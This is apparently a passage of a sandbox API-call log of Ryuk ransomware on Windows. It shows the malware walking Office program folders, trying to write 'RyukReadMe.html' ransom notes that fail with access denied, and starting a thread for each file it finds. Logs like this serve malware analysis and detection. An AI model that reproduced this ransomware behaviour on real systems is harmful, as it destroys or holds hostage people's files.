	[0131.822] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.824] SetLastError (dwErrCode=0x0) 
	[0131.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.836] GetLastError () returned 0x5
	[0131.836] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.836] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.836] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1
	[0131.836] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1
	[0131.836] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1
	[0131.836] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1
	[0131.836] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1
	[0131.836] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1
	[0131.836] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1
	[0131.836] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1
	[0131.836] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1
	[0131.837] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1
	[0131.838] SetLastError (dwErrCode=0x0) 
	[0131.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.838] GetLastError () returned 0x5
	[0131.838] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.838] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.838] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.839] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.839] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1
	[0131.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8790000
	[0131.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480
	[0131.975] VirtualFree (lpAddress=0x8790000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.976] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0
	[0131.976] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.976] SetLastError (dwErrCode=0x0) 
	[0131.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.977] GetLastError () returned 0x5
	[0131.977] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.977] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1
	[0131.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1
	[0131.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1
	[0131.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1
	[0131.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1
	[0131.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1
	[0131.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1
	[0131.978] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1
	[0131.978] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1
	[0131.978] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1
	[0131.978] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1
	[0131.978] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1
	[0131.978] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1
	[0131.978] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1
	[0131.978] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1
